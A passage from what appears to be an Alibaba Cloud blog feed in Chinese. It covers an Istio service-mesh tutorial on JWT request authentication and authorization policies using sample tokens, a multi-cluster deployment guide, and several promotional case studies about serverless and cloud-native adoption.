    Cluster.BytesReadAlluxio  (Type: COUNTER, Value: 0B)
    Cluster.BytesReadAlluxioThroughput  (Type: GAUGE, Value: 0B/MIN)
    Cluster.BytesReadDomain  (Type: COUNTER, Value: 237.66KB)
    Cluster.BytesReadDomainThroughput  (Type: GAUGE, Value: 47.53KB/MIN)
    //省略其他内容
    ......

    BytesReadAlluxio和BytesReadAlluxioThroughput代表数据从网络栈传输;BytesReadDomain和BytesReadDomainThroughput代表数据从domain socket传输。可以看到所有数据都是从domain socket传输的。

    5.参考文档

    ]]>
    基于ASM配置JWT请求授权 Fri, 02 May 2025 09:39:03 +0800 前提条件

    配置JWT请求授权

    环境变量

    # ASM实例kubeconfig
    MESH_CONFIG=
    # 用户ACK实例kubeconfig
    USER_CONFIG=
    # 本地istio路径
    # 可以在https://github.com/istio/istio/releases选择合适版本下载
    ISTIO_HOME=

    1 部署示例服务

    1.创建命名空间foo,并启用istio-injection

    image.png

    2.在命名空间foo中,部署官方示例服务httpbinsleep

    kubectl 
      --kubeconfig "$USER_CONFIG" 
      -n foo 
      apply -f "$ISTIO_HOME"/samples/httpbin/httpbin.yaml
    
    kubectl 
      --kubeconfig "$USER_CONFIG" 
      -n foo 
      apply -f "$ISTIO_HOME"/samples/sleep/sleep.yaml

    3.确认pod就绪前请等待。

    kubectl --kubeconfig "$USER_CONFIG" -n foo get po
      
    kubectl --kubeconfig "$USER_CONFIG" -n foo wait --for=condition=ready pod -l app=httpbin
    kubectl --kubeconfig "$USER_CONFIG" -n foo wait --for=condition=ready pod -l app=sleep

    4.在sleep容器内,验证是否可以请求httpbin。期待的结果是http_code值为200

    sleep_pod=$(kubectl --kubeconfig "$USER_CONFIG" get pod -l app=sleep -n foo -o jsonpath={.items..metadata.name})
    
    RESULT=$(kubectl 
      --kubeconfig "$USER_CONFIG" 
      exec "$sleep_pod" -c sleep -n foo -- curl http://httpbin.foo:8000/ip -s -o /dev/null -w "%{http_code}")
    
    if [[ $RESULT != "200" ]]; then
      echo "http_code($RESULT) should be 200"
      exit
    fi

    2. 增加请求认证

    1.在命名空间foo中,新建RequestAuthentication CRD,创建请求认证:请求httpbin服务时,须匹配jwtRules中定义的规则,即请求头中如果包含ACCESS TOKEN信息,解码后iss的值须为testing@secure.istio.iojwks中定义了TOKEN生成的相关信息,详见jwk官方文档

    image.png

    jwt-example.yaml:

    apiVersion: "security.istio.io/v1beta1"
    kind: "RequestAuthentication"
    metadata:
      name: "jwt-example"
      namespace: foo
    spec:
      selector:
        matchLabels:
          app: httpbin
      jwtRules:
      - issuer: "testing@secure.istio.io"
        jwks: '{ "keys":[ {"e":"AQAB","kid":"DHFbpoIUqrY8t2zpA2qXfCmr5VO5ZEr4RzHU_-envvQ","kty":"RSA","n":"xAE7eB6qugXyCAG3yhh7pkDkT65pHymX-P7KfIupjf59vsdo91bSP9C8H07pSAGQO1MV_xFj9VswgsCg4R6otmg5PV2He95lZdHtOcU5DXIg_pbhLdKXbi66GlVeK6ABZOUW3WYtnNHD-91gVuoeJT_DwtGGcp4ignkgXfkiEm4sw-4sfb4qdt5oLbyVpmW6x9cfa7vs2WTfURiCrBoUqgBo_-4WTiULmmHSGZHOjzwa8WtrtOQGsAFjIbno85jp6MnGGGZPYZbDAa_b3y5u-YpW7ypZrvD8BgtKVjgtQgZhLAGezMt0ua3DRrWnKqTZ0BJ_EyxOGuHJrLsn00fnMQ"}]}'

    2.验证请求认证策略生效。请求头中包含合法的ACCESS TOKEN时返回状态码200,否则返回状态码401

    for ((i = 1; i <= 5; i++)); do
        RESULT=$(kubectl 
          --kubeconfig "$USER_CONFIG" 
          exec "$sleep_pod" 
          -c sleep 
          -n foo 
          -- curl "http://httpbin.foo:8000/headers" 
          -s 
          -o /dev/null 
          -H "Authorization: Bearer invalidToken" 
          -w "%{http_code}")
        if [[ $RESULT != "401" ]]; then
          echo "http_code($RESULT) should be 401"
          exit
        fi
    done
    for ((i = 1; i <= 10; i++)); do
      RESULT=$(kubectl 
        --kubeconfig "$USER_CONFIG" 
        exec "$sleep_pod" 
        -c sleep 
        -n foo 
        -- curl "http://httpbin.foo:8000/headers" 
        -s 
        -o /dev/null 
        -w "%{http_code}")
      if [[ $RESULT != "200" ]]; then
        echo "http_code($RESULT) should be 200"
        exit
      fi
    done

    3. 增加JWT认证策略

    1.在命名空间foo中,新建AuthorizationPolicy CRD,创建JWT认证策略:请求httpbin服务时,只有请求头TOKEN解码后,符合iss的值+/+sub的值(即source.requestPrincipals)为testing@secure.istio.io/testing@secure.istio.io,请求权限才为ALLOW

    image.png

    require-jwt.yaml:

    apiVersion: security.istio.io/v1beta1
    kind: AuthorizationPolicy
    metadata:
      name: require-jwt
      namespace: foo
    spec:
      selector:
        matchLabels:
          app: httpbin
      action: ALLOW
      rules:
      - from:
        - source:
           requestPrincipals: ["testing@secure.istio.io/testing@secure.istio.io"]

    2.TOKEN解析。

    TOKEN='eyJhbGciOiJSUzI1NiIsImtpZCI6IkRIRmJwb0lVcXJZOHQyenBBMnFYZkNtcjVWTzVaRXI0UnpIVV8tZW52dlEiLCJ0eXAiOiJKV1QifQ.eyJleHAiOjQ2ODU5ODk3MDAsImZvbyI6ImJhciIsImlhdCI6MTUzMjM4OTcwMCwiaXNzIjoidGVzdGluZ0BzZWN1cmUuaXN0aW8uaW8iLCJzdWIiOiJ0ZXN0aW5nQHNlY3VyZS5pc3Rpby5pbyJ9.CfNnxWP2tcnR9q0vxyxweaF3ovQYHYZl82hAUsn21bwQd9zP7c-LS9qd_vpdLG4Tn1A15NxfCjp5f7QNBUo-KC9PJqYpgGbaXhaGx7bEdFWjcwv3nZzvc7M__ZpaCERdwU7igUmJqYGBYQ51vr2njU9ZimyKkfDe3axcyiBZde7G6dabliUosJvvKOPcKIWPccCgefSj_GNfwIip3-SsFdlR7BtbVUcqR-yv-XOxJ3Uc1MI0tz3uMiiZcyPV7sNCU4KRnemRIMHVOfuvHsU60_GhGbiSFzgPTAa9WTltbnarTbxudb_YEOx12JiwYToeX0DCPb43W1tzIBxgm8NxUg'
    
    echo $TOKEN | cut -d '.' -f2 - | base64 --decode -

    输出信息:

    {"exp":4685989700,"foo":"bar","iat":1532389700,"iss":"testing@secure.istio.io","sub":"testing@secure.istio.io"}

    JWT官网提供了同样的能力:

    image.png

    3.验证JWT认证策略生效。请求头中包含合法的ACCESS TOKEN时返回状态码200,否则返回状态码403

    for ((i = 1; i <= 10; i++)); do
        RESULT=$(kubectl 
          --kubeconfig "$USER_CONFIG" 
          exec "$sleep_pod" 
          -c sleep 
          -n foo 
          -- curl "http://httpbin.foo:8000/headers" 
          -s 
          -o /dev/null 
          -H "Authorization: Bearer $TOKEN" 
          -w "%{http_code}")
        if [[ $RESULT != "200" ]]; then
          echo "http_code($RESULT) should be 200"
          exit
        fi
    done
    for ((i = 1; i <= 10; i++)); do
        RESULT=$(kubectl 
          --kubeconfig "$USER_CONFIG" 
          exec "$sleep_pod" 
          -c sleep 
          -n foo 
          -- curl "http://httpbin.foo:8000/headers" 
          -s 
          -o /dev/null 
          -w "%{http_code}")
        if [[ $RESULT != "403" ]]; then
          echo "http_code($RESULT) should be 403"
          exit
        fi
    done

    4. 追加JWT认证策略

    1.在命名空间foo中,更新JWT认证策略require-jwt,增加规则:请求httpbin服务时,只有请求头TOKEN解码后,符合groups的值包含group1,请求权限才为ALLOW

    require-jwt-group.yaml:

    apiVersion: security.istio.io/v1beta1
    kind: AuthorizationPolicy
    metadata:
      name: require-jwt
      namespace: foo
    spec:
      selector:
        matchLabels:
          app: httpbin
      action: ALLOW
      rules:
      - from:
        - source:
           requestPrincipals: ["testing@secure.istio.io/testing@secure.istio.io"]
        when:
        - key: request.auth.claims[groups]
          values: ["group1"]

    2.TOKEN解析。

    TOKEN_GROUP='eyJhbGciOiJSUzI1NiIsImtpZCI6IkRIRmJwb0lVcXJZOHQyenBBMnFYZkNtcjVWTzVaRXI0UnpIVV8tZW52dlEiLCJ0eXAiOiJKV1QifQ.eyJleHAiOjM1MzczOTExMDQsImdyb3VwcyI6WyJncm91cDEiLCJncm91cDIiXSwiaWF0IjoxNTM3MzkxMTA0LCJpc3MiOiJ0ZXN0aW5nQHNlY3VyZS5pc3Rpby5pbyIsInNjb3BlIjpbInNjb3BlMSIsInNjb3BlMiJdLCJzdWIiOiJ0ZXN0aW5nQHNlY3VyZS5pc3Rpby5pbyJ9.EdJnEZSH6X8hcyEii7c8H5lnhgjB5dwo07M5oheC8Xz8mOllyg--AHCFWHybM48reunF--oGaG6IXVngCEpVF0_P5DwsUoBgpPmK1JOaKN6_pe9sh0ZwTtdgK_RP01PuI7kUdbOTlkuUi2AO-qUyOm7Art2POzo36DLQlUXv8Ad7NBOqfQaKjE9ndaPWT7aexUsBHxmgiGbz1SyLH879f7uHYPbPKlpHU6P9S-DaKnGLaEchnoKnov7ajhrEhGXAQRukhDPKUHO9L30oPIr5IJllEQfHYtt6IZvlNUGeLUcif3wpry1R5tBXRicx2sXMQ7LyuDremDbcNy_iE76Upg'
    
    echo "$TOKEN_GROUP" | cut -d '.' -f2 - | base64 --decode - | jq

    输出信息:

    {
      "exp": 3537391104,
      "groups": [
        "group1",
        "group2"
      ],
      "iat": 1537391104,
      "iss": "testing@secure.istio.io",
      "scope": [
        "scope1",
        "scope2"
      ],
      "sub": "testing@secure.istio.io"
    }

    3.验证JWT认证策略生效。请求头中包含合法的ACCESS TOKEN时返回状态码200,否则返回状态码403

    for ((i = 1; i <= 10; i++)); do
        RESULT=$(kubectl 
          --kubeconfig "$USER_CONFIG" 
          exec "$sleep_pod" 
          -c sleep 
          -n foo 
          -- curl "http://httpbin.foo:8000/headers" 
          -s 
          -o /dev/null 
          -H "Authorization: Bearer $TOKEN_GROUP" 
          -w "%{http_code}")
        if [[ $RESULT != "200" ]]; then
          echo "http_code($RESULT) should be 200"
          exit
        fi
    done
    for ((i = 1; i <= 10; i++)); do
        RESULT=$(kubectl 
          --kubeconfig "$USER_CONFIG" 
          exec "$sleep_pod" 
          -c sleep 
          -n foo 
          -- curl "http://httpbin.foo:8000/headers" 
          -s 
          -o /dev/null 
          -H "Authorization: Bearer $TOKEN" 
          -w "%{http_code}")
        if [[ $RESULT != "403" ]]; then
          echo "http_code($RESULT) should be 200"
          exit
        fi
    done
    ]]>
    应用中心最佳实践之——使用应用组完成多集群一键部署 Fri, 02 May 2025 09:39:03 +0800 背景

    在现实中的应用交付实践中,常常需要将同一应用同时部署到多个集群中。应用中心支持将同一个数据源定义的应用,通过应用组的形式一键部署到多个集群中,实现统一管理。
    应用组是一系列应用的集合,这些应用都具有相同的数据源,但部署的目标集群或命名空间不同,相关概念如下图所示:
    image.png

    如何使用

    添加多个集群到应用中心

    进入应用中心,点击右上角“设置”,进入集群设置页面,通过添加集群功能,将希望部署应用的集群都添加到应用中心管控范围内。
    image.png

    创建应用组

    在“应用”页面中点击“创建应用”,指定应用参数并创建。
    名称将作为应用组名称,如应用组名称为app-set,应用中心将自动创建一系列应用app-set-0、app-set-1等。
    数据源可以选择Git仓库、Helm仓库或ACK编排模板。
    目标集群可以选择任意多个,每个集群可以独立指定部署的命名空间。
    image.png

    查看应用组

    创建完成后,“应用”页面将列出应用组,以及组内的全部应用。
    image.png

    部署到目标集群

    点击“部署所有应用”,可以选择整个应用组,将组内的应用同时部署到目标集群,也可以单独指定部署组内的部分应用。
    image.png

    ]]>
    日均千万级消息规模,深捷旅使用函数计算释放运维压力 Fri, 02 May 2025 09:39:03 +0800 深圳市捷旅国际旅行社有限公司(简称“深捷旅”),成立18年来专注于酒店行业的客房分销业务以及酒店预订信息化水平建设,通过品牌“捷旅假期”打造了业内领先的酒店B2B分销平台。深捷旅在业内旅游头部OTA企业多年深耕合作,为同程旅游、去哪儿、途牛旅游网、 Expedia,Ctrip, Agoda,驴妈妈旅游网、马蜂窝旅游、国旅运通、大唐商旅等提供全面与完善的酒店/票务服务。

    核心痛点:

    深捷旅对接的酒店超过60万+,每天都有几千万级的消息规模,而且这些消息的并发脉冲性强,时效周期短,瞬时并发处理压力大:

    1. 并发处理能力

    需要同时处理的峰值消息量超过10W+。

    2. 弹缩处理能力

    根据消息量的多少进行自动化的扩缩容操作,并且可以毫秒级进行快速的扩缩容,使用成本按所需的实际资源付费。

    3. 支持OSS,消息等多种数据源触发方式。
    4. 支持Python、Go、java 等各种编程语言。
    5. 运维监控能力

    可以支持快速部署更新,资源使用的实时监控,日志分析集成与报警能力。

    解决方案:

    函数计算可以监听多种数据源,通过监控处理业务量的变化,快速进行自适应的扩缩容操作, 通过毫秒级的扩容,可以获得线性增长的业务处理能力。函数计算支持多种编程语言,无需客户改变编程习惯。函数计算支持便捷的部署、资源使用的实时监控、日志分析集成与报警能力。
    image.png

    产品价值:

    业务稳健:函数计算可根据业务量进行扩缩容,在函数计算处理的帮助下,解决了以前按峰值资源配置方式的业务稳定性风险问题。
    运维简单:运维发布有多种工具辅助进行。以前最困扰的扩缩容资源管理部分,在使用函数计算后,完全不再需要维护,极大地释放了深捷旅开发运维人员的生产力。
    节省成本:利用函数计算的按需付费的特性,在合适的规格运行下,整个资源得到了高效利用,不为闲置付费,降低了深捷旅的总体使用成本。

    相关产品:

    阿里云函数计算:https://www.aliyun.com/product/fc?spm=5176.10695662.1112509.1.70384357oApvS9

    ]]>
    乘风破浪的云原生 Fri, 02 May 2025 09:39:03 +0800 作者:禾易

    1、在线教育将成为常态化应用

    “还要扩容吗?”
    “先扩容 10 倍再说”

    这已经不是李诺(洋葱学院联合创始人兼 CTO)第一次提到扩容了。受到疫情影响,今年全国学校普遍延期开学。“停课不停学”,线下教育停摆,教育行业转战线上。流量突然暴涨,扩容成了“常态”,而且每次的流量还是远远超过预期。

    李诺去找杨临风(洋葱学院联合创始人兼 CEO)讨论工作的时候,碰巧杨临风正在写一封给用户的公开信。这次疫情让洋葱学院受到了极大的关注,但比起流量价值,杨临风更想以自己的亲身经历告诉用户:“在家自主地学习,是每个学生都要面对的战斗。”

    李诺心里清楚,在超高流量的冲击下要保持服务器平稳、用户体验不受影响,这何尝不是一场属于洋葱学院的战斗。

    2013 年 12 月,杨临风、朱若辰和李诺共同创立了洋葱数学(现已更名为洋葱学院),这家K12在线教育公司从初中数学课程切入,逐步发展到全学科,主攻人机交互学习的在线教育平台开发。他们从国家课标和教材着手,开始系统地构建在线课程体系,对课本上每一个知识点进行更加精细的教研和设计,并逐个制作成5-8分钟的动画视频课程,围绕这些核心课程为学生打造个性化的学习体验。

    人机交互学习的教育模式不要说在当年,即便是现在也很前卫。不仅如此,洋葱的创始团队在公司成立之初还做出了一个意识超前的决定:整套业务系统均基于阿里云搭建。

    洋葱学院的发展速度在互联网教育公司里并不算快,李诺说,团队把大部分的精力都花在了课程的研发和学习体验的优化上,以初中数学为例,足足花了4年才完成课程的打磨。当然,洋葱学院对教育的这份坚持,也让其在业界立下了一席之地。疫情影响下,短时间剧烈增长的市场需求把在线教育推到了“快车道”。以前是在线教育企业自己努力,现在是全社会一起推进他们“质量在线”。

    今年 1 月 28 日,洋葱学院对外公布了针对疫情期间的课程捐赠方案,把过去六年积累制作的 2650 节核心课程全部免费开放,但流量的威力还是超过了他们的想象。据易观千帆的公开数据显示,洋葱学院 2020 年 2 月的活跃用户规模达到了 795.92 万,同比增幅 151%。

    面对大流量、高并发访问需求,洋葱学院为了确保业务稳定性,在阿里云技术专家的建议下,采用了阿里云容器服务。容器服务可以根据不同模块的配置所需,资源分配更加合理,按照定义规则自动弹性伸缩避免了复杂的调度维护。

    阿里云容器服务可以在几分钟内扩充底层资源,满足快速部署数千个应用实例的需求。为了更加从容地应对十倍扩容,洋葱学院还进一步优化了整体的 ECS 服务器配置,将大量的小规格 ECS 服务器更换成 30 至 50 核大规格 ECS,改造后运维管控也更加便捷。使用云容器之后,系统在资源利用率上提升了约60%,出现问题后可快速隔离,当面对急剧增长的业务量,也可以在短

    时间内扩容进行业务支撑。为了及早发现故障并快速做出响应,洋葱学院也采用了阿里云原生监控系列产品,可以覆盖到各类监控报警问题,极大地缩短问题发现时间。

    从2013年决定全面上云,到现在拥抱云原生新趋势,洋葱学院以一贯的超前意识,表达着这个时代互联网公司该有的态度。

    2、全面使用开源技术、云服务构建软件服务的时代已经到来

    云原生在近几年的发展用“乘风破浪”来形容一点也不为过。

    应用上云已经是不可逆转的趋势。回顾近年来商业世界的发展趋势,数字化转型的出现使得企业中越来越多的业务演变成数字化业务,数字化对于业务渠道、竞争格局、用户体验等诸多方面都提出更加严苛的要求,这就要求技术具备更快的迭代速度。

    为了实现这样的速度,就需要充分利用云的强大能力,从云技术中获得更高的可用性与可扩展能力,利用云来提升发布和运维的效率。而要做到这些,不仅仅是基础设施和平台的变化,应用也需要做出改变,摈弃传统的土方法,在架构设计、开发方式、部署维护等各个阶段和方面都基于云的特点来重新设计,从而建设全新的云化应用,即云原生应用。

    image.png

    2019 年,Gartner 曾经发布报告表示云原生时代已经到来,在未来三年中将有 75%的全球化企业将在生产中使用容器化的应用。云原生相关技术不仅仅能用于云计算,即便是和云计算既对立又协同的边缘计算,微服务、容器、Kubernetes 依然是事实上的杀手应用和标准。

    2019 年,Gartner 曾经发布报告表示云原生时代已经到来,在未来三年中将有 75%的全球化企业将在生产中使用容器化的应用。云原生相关技术不仅仅能用于云计算,即便是和云计算既对立又协同的边缘计算,微服务、容器、Kubernetes 依然是事实上的杀手应用和标准。

    以前一家企业想使用云原生的技术或产品,需要花费大量的精力研究一些开源项目,自己做运维和管理,还需要考虑集成、稳定性保障等问题,这样才能建立一个云原生平台。今天,为了方便企业和开发者更容易地使用云原生的技术和产品,更好地接受云原生的理念,并解决企业担忧的可靠性、性能、连续性等问题,阿里云为大家提供了一整套云原生产品家族,提供了非常强的 SLA 保障。

    阿里云在帮助国内企业了解云原生、使用云原生上做了很多工作。一方面是在内部尝试去使用这些技术,阿里巴巴内部有非常丰富的、大规模的使用场景,通过这些场景可以充分打磨云原生技术。在技术成熟以后,将这些技术回馈到社区,帮助云原生社区提高技术质量和发展水平。

    3、因为相信,所以看见

    着云计算的普及与云原生的广泛应用,越来越多的从业者、决策者清晰地认识到「云原生化将成为企业技术创新的关键要素,也是完成企业数字化转型的最短路径」。因此,具有前瞻思维的互联网企业从应用诞生之初就扎根于云端,谨慎的新零售、政府、金融、医疗等领域的企业与机构也逐渐将业务应用迁移上云,深度使用云原生技术与云原生架构。

    畅捷通是中国领先的小型微型企业管理云服务与软件提供商,为400多万小微企业提供智能云管理服务。随着业务的快速发展,为了适应互联网大型应用快速迭代以及频繁发布的需求,畅捷通IT团队对原有的IT系统进行了大量的微服务化改造,这是畅捷通进行云原生实践迈出的第一步。

    紧接着,畅捷通开始迎接下一步挑战:SaaS化企业管理云服务,具有用户量大、业务复杂、调用链路长、与第三方应用系统深度集成等特点,给微服务化改造工作带来了非常大的挑战。特别是在新版本的发布过程中,如果不能保证整个流程平滑、可控,就很容易因为单个应用的更新而造成整个系统的崩溃。

    为了快速解决这个痛点,畅捷通IT团队找到阿里云技术专家,选择阿里,不仅因为阿里的业务场景复杂度和对技术打磨的细致,还有阿里一直以来在云原生领域的深耕。最终,畅捷通决定将整个微服务架构逐步部署到阿里云提供的企业级分布式应用服务(EDAS)上。通过Spring Cloud技术体系建立的微服务应用,可以在不涉及任何代码改动情况下,直接部署在EDAS上,整个迁移的过程也非常平滑,对于畅捷通的用户而言没有任何感知。部署之后,在面对复杂业务下的频繁迭代时,畅捷通成功经受住了考验。

    在进一步适应云原生的技术和产品以后,畅捷通的IT团队也通过方案背后融入的方法论,掌握了一套适合自己的微服务治理机制,并开始实践全链路灰度等全新的微服务治理思路。

    4、还能再极致一点吗?能!

    和大部分计算模式不同,Serverless 将“部署”这个动作从运维中“收走”,使开发者不用关心应用在哪里运行,更不用关心装什么 OS、怎么配置网络、需要多少 CPU …… 从架构抽象上看,当业务流量到来 / 业务事件发生时,云会启动或调度一个已启动的业务进程进行处理,处理完成后云自动会关闭/ 调度业务进程,等待下一次触发,也就是把应用的整个运行时都委托给云。

    Serverless 非常适合于事件驱动的数据计算任务、计算时间短的请求 / 响应应用、没有复杂相互调用的长周期任务。

    百富旅行是全球领先的在线旅游同业交易平台,基于云计算和大数据决策为全球旅游从业者提供一站式智能整体解决方案。截至目前,百富旅行已经与600多家航空公司、国内所有火车线路、2500个汽车站,以及60多家邮轮集团进行了业务整合,网络覆盖全球100多个国家和地区。

    随着业务的飞速发展,百富旅行技术团队通过Spring Cloud 等开源框架搭建了完善的微服务技术架构,将微服务应用上云之后,不需要再考虑硬件资源购买以及服务器架设等运维步骤,这样技术团队可以将更多的精力投入到业务需求实现中。但是随着系统迭代次数的增加,问题出现了:

    从系统架构的角度,将微服务应用直接部署在云虚拟机上,跟部署在物理机房相比,并没有本质的区别,团队依然需要从底层维护每一个应用实例,包括操作系统调整、磁盘容量规划、JDK等组件安装等工作,这些工作都每一台云虚拟机投入使用的过程中,都是必不可少的。

    在系统频繁的迭代过程中,不同的开发小组甚至不同的开发人员都需要单独的一套测试环境,久而久之,整个技术团队创建了多套测试环境,其中一些测试环境包含了所有的微服务应用,整体资源利用率特别低,造成了大量的资源浪费。而且旅游业务本身也存在非常明显的波峰波谷,微服务架构可以很方便地为每一个应用进行水平扩容,但如果用于扩容的虚拟机资源需要预先购买的话,同样会造成大量的资源闲置。

    摆在百富技术团队面前的核心难题就是怎么解决资源的闲置与浪费问题。而这恰恰是Serverless最擅长的事情。由于不需要为Serverlesss应用购买底层服务器资源,直接按需申请,可以免去容量规划、操作系统调优等复杂的运维工作,Serverless架构的弹性伸缩机制正好切断了资源浪费问题的源头。

    但是Serverless架构要怎么选,百富旅行技术团队开始对市场上常见的实现方式和产品做调研:

    Serverless架构有两种常见的实现方式:第一种是把每个微服务应用进行容器化改造后,统一使用Kubernetes进行编排,并利用云厂商提供的弹性容器实例实现容器层的按需调用。这种方式的门槛很高,需要有精通Kubernetes技术的运维小组加入,并且需要团队投入比较大的精力对应用进行容器化改造,暂时不适用于百富旅行这样小规模高效率的技术团队。

    另一种方式是使用类似于AWS Lambda或阿里云FC函数计算引擎,将所有业务逻辑进行函数化重构。这种方式基本上需要将之前写的代码推倒重来,而且在一些拥有复杂调用链路的业余环节并不能发挥Serverless的优势,最终排除在考虑范围内。

    经过多轮技术调研以及与阿里云技术专家深入交流后,百富旅行技术团队选择了阿里云Serverless应用引擎(SAE)方案。区别于其它 Serverless 产品,SAE 直接支持 Spring Cloud、Dubbo 等开发框架,实现了全面的Serverless化。开发者可以通过WAR、JAR、镜像三种方式部署Serverless应用,不需要学习Kubernetes以及容器技术。部署在SAE上的微服务应用,可以按需申请资源,根据实际使用资源量按分钟计费,避免业务不活跃时段的费用支出。特别是对于测试环境,SAE可以做到一键启停,避免了资源闲置问题。选择SAE为百富旅行节省了大量云资源的成本投入,并且减少一半以上的运维工作,为后续创新业务的发展打下了基础。

    5、云原生是一个时代下践行者们“前赴后继”的故事

    一项新技术或者一套新的技术理念,之所以能被广泛接受和快速发展,是因为有愿意相信并真正去落地实践的公司,是他们在为整个时代探索着云计算更大的技术价值。当五年、十年以后我们再来看洋葱学院、畅捷通、百富旅行等企业的实践历程,正是因为这些创新者们愿意接纳一些新的改变,并以此去撬动更大的想象空间,我们才经历了一个如此蓬勃和充满可能的时代。

    他们才是真的乘风破浪!

    ]]>
    企业“上云”开始起飞了! Fri, 02 May 2025 09:39:03 +0800 近日,阿里云正式启动《云原生合作计划》,旨在帮助合作伙伴实现云原生技术升级,合力加速百行千业实现数字化转型。知鱼科技光荣获封“云原生合作伙伴”称号,阿里云原生生态运营专家紫泷莅临知鱼科技,为我司正式授牌。
    image.png

    阿里云原生生态运营专家紫泷为知鱼科技授牌

    阿里云是全球领先的云计算及人工智能科技公司,为超过200个国家或地区的企业、开发者和政府机构提供服务。阿里云致力于以在线公共服务的方式,提供安全、可靠的计算和数据处理能力,让计算和人工智能成为普惠科技。2017年1月,阿里云成为奥运会全球指定云服务商。

    随着与阿里的合作深入,知鱼近年来通过跨界融合、全球整合,联合阿里云等第三方云生态资源产业,为企业数字化、产业升级转型打造一体化产品及服务,为客户提供专业、可靠的一站式IT服务。此次获封“云原生合作伙伴”称号,是知鱼在“专业云计算服务提供商”成长道路上的又一个里程碑。

    重大升级

    1、产品范围升级

    在云原生技术浪潮之下,阿里云原生合作伙伴计划在技术先进性和产品定位上做了重大升级,从中间件技术向云原生技术的转变,覆盖容器、微服务、Serverless、函数计算等众多产品。

    2、合作权益升级

    今年阿里云生态隆重推出“云聚计划”,投入20亿人民币,打造产品、技术、商务、交付的生态体系。

    作为《云原生合作计划》华南地区的核心合作企业,知鱼受邀参加阿里云华南生态FY21财年Q2启动会,依托自身优秀的综合性云产品服务,获得阿里云产品事业部颁发的“创新突破奖”。

    image.png
    image.png
    未来,知鱼将继续秉承合作共赢的积极态度,进一步携手以阿里云为代表的行业尖端合作伙伴,提供稳定可靠、安全可信、可持续演进的一站式云计算服务。

    ]]>
    在线教育,不可不知的阿里云中间件行业实战秘笈 Fri, 02 May 2025 09:39:03 +0800 “停课不停学”,疫情之下,几乎所有教育机构或平台都趁热打铁,上百项公益课程纷至沓来,令人眼花缭乱。据统计,从年初至今,13家在线教育相关公司的市值已经累计上涨近800亿元。线下教育停滞,巨额流量瞬间涌入线上。此次疫情对于在线教育的快速普及起到很大刺激作用,主要地区普及率将从目前的不到20%快速提升到接近100%,并将在线教育的学习方式推广进三四线城市。

    从在线教育长远的发展来讲,根据艾媒咨询的数据,2018年中国在线教育用户规模超过2亿人,而到2020年,有望达到3亿人。根据艾瑞咨询的数据,2018年中国在线教育市场规模2518亿元,预计在2022年市场规模将超过5000亿元。

    在线教育基于用户,产品,服务在线突破时间和空间的限制,打破跨越因地域等方面造成的教育资源不平等分配,使教育资源共享化,降低了学习的门槛。在线教育通过技术手段和能力,逐步实现内容供应-平台-分发推广平台化的生态能力。从在线教育的商业逻辑出发,其核心环节包括两个节点:流量的引入、流量的变现。

    在流量快速涌入的背景下,对在线教育机构及第三方服务提供商既是机遇,亦是挑战。挑战主要在:
    1、在流量快速注入的背景下,企业面对的挑战包括师资的招聘(尤其是疫情期间)、用户爆发下的服务维持和系统的稳定性能力。
    2、如何应对不确定性,“黑天鹅”现象频发,如何通过IT技术应对突发流量,徒增的业务以及不确定性的系统容量需求,从而在机会中能多的先机。

    从流量引入以及构建在线教育平台的核心竞争力来讲,挑战在于:
    1、新的产品,内容以及新的业务快速落地和试点能力,互联网时代唯快不破,新的业务如何快速试点不断迭代,从而吸引更多的用户,是技术赋能业务需要快速解决的问题。
    2、新业务上线以后,如何能引爆整个市场,服务于更多的用户。
    3、当服务于一定数量级用户后,如何精准和个性化的服务每一个客户。

    网络协同和数据智能是未来商业的基本特征,通过业务在线,用户在线以及服务在线,结合云的技术以及数据能力,实现在线教育客户运营效率提升,业务创新能力以及服务客户精准性,这些商业的能力依赖于IT基础设施云化,技术互联网化以及应用数据化和智能化。

    云原生基于开放的技术标准、理念和实践,正成为云和企业交互的新界面。阿里云中间件作为云原生的核心支点,其产品和最佳实践正在加速在线教育IT基础设施云化和技术互联网化。当前,历经阿里巴巴各种业务中打磨和验证的中间件,正以开放稳定的绝对优势,在阿里云在线教育等各个行业客户中广泛使用。

    此处通过一篇案例进行详细剖析:
    Timing App的Serverless实践案例
    1、背景和挑战:
    作为广受好评的学习应用,Timing App 专注于帮助社区用户提升学习凝聚力,达成学习目标。目前已有超过 700 万人通过 Timing 进行高效学习。与传统在线学习应用不同,Timing app 提供了 Timing 自习室、图书馆学习、 视频打卡、学习日记、契约群、学习服务等多类具有社交性质的在线教育服务,帮助用户找到自己的学习节奏,找到 坚持学习的一万种理由。Timing 业务本身具有潮汐特性,用户访问主要集中在晚间和节假日。受疫情影响,春节期 间峰值流量暴增 4 倍,公司面临较大的运维成本压力。在用户、流量爆发式增长背景下,Timing App 不得不直面以 下四大痛点:

    (1)系统稳定性差。原有 PHP 单应用架构系统无法做到线性快速扩容,在业务高峰时段,系统问题频繁发生,严 重影响用户体验。
    (2)产品迭代缓慢。随着业务的高速发展,原有单体架构对于产品的迭代力不从心,没法快速响应研发需求。
    (3)资源使用浪费。由于业务具有非常强的流量潮夕特征,需要按照业务高峰阶段进行资源保有配置,造成资源 的浪费。
    (4)技术成本昂贵。以前的团队除了技术负责人及少数团队新成员外,基本缺乏微服务架构实战经验。想要实现 微服务改造,急需能够快速上手的平台支撑,需要最大限度降低底层 IaaS, 容器以及常用微服务套件的学习 成本。

    2、云原生解决方案:
    阿里云应用引擎 Serverless(SAE),基于 Serverless 架构,屏蔽了底层 IaaS 运维和 K8s 细节,区别 于 FaaS 形态的 Serverless 产品,用户无需修改编程模型,零代码改造就能直接使用。同时,完美结合 Spring Cloud/Duboo 等微服务架构,提供应用发布、管理和服务治理等应用全生命周期的服务,完美贴合 Timing 的技术 需求:极限弹性伸缩,应用生命周期灵活管理,完美支持主流微服务架构。
    下图是方案架构示意图。
    image.png

    3、方案的关键优势:
    (1)利用弹性伸缩,应对不确定突发流量。提供秒级自动弹性 & 定时弹性能力,帮助应用轻松应对大促峰值流量, 保证 SLA 的同时也节省机器保有成本。多适用于互联网、游戏、在线教育行业。 应用环境随需灵活启停,节约成本。提供了一键启停开发测试环境的能力,即开即用,节省成本,方便运维。 适用于对成本敏感、云上有多套环境但部分环境闲置率较高的企业型客户(不限行业)。
    (2)中小企业快速构建云上微服务应用。帮助用户屏蔽底层 IaaS 购买和运维细节、底层 K8s 细节,低门槛部署 微服务应用。适用于初创型 / 上升期的公司(不限行业),业务增长很快,对增长有较高预期,但人员配置跟不上。
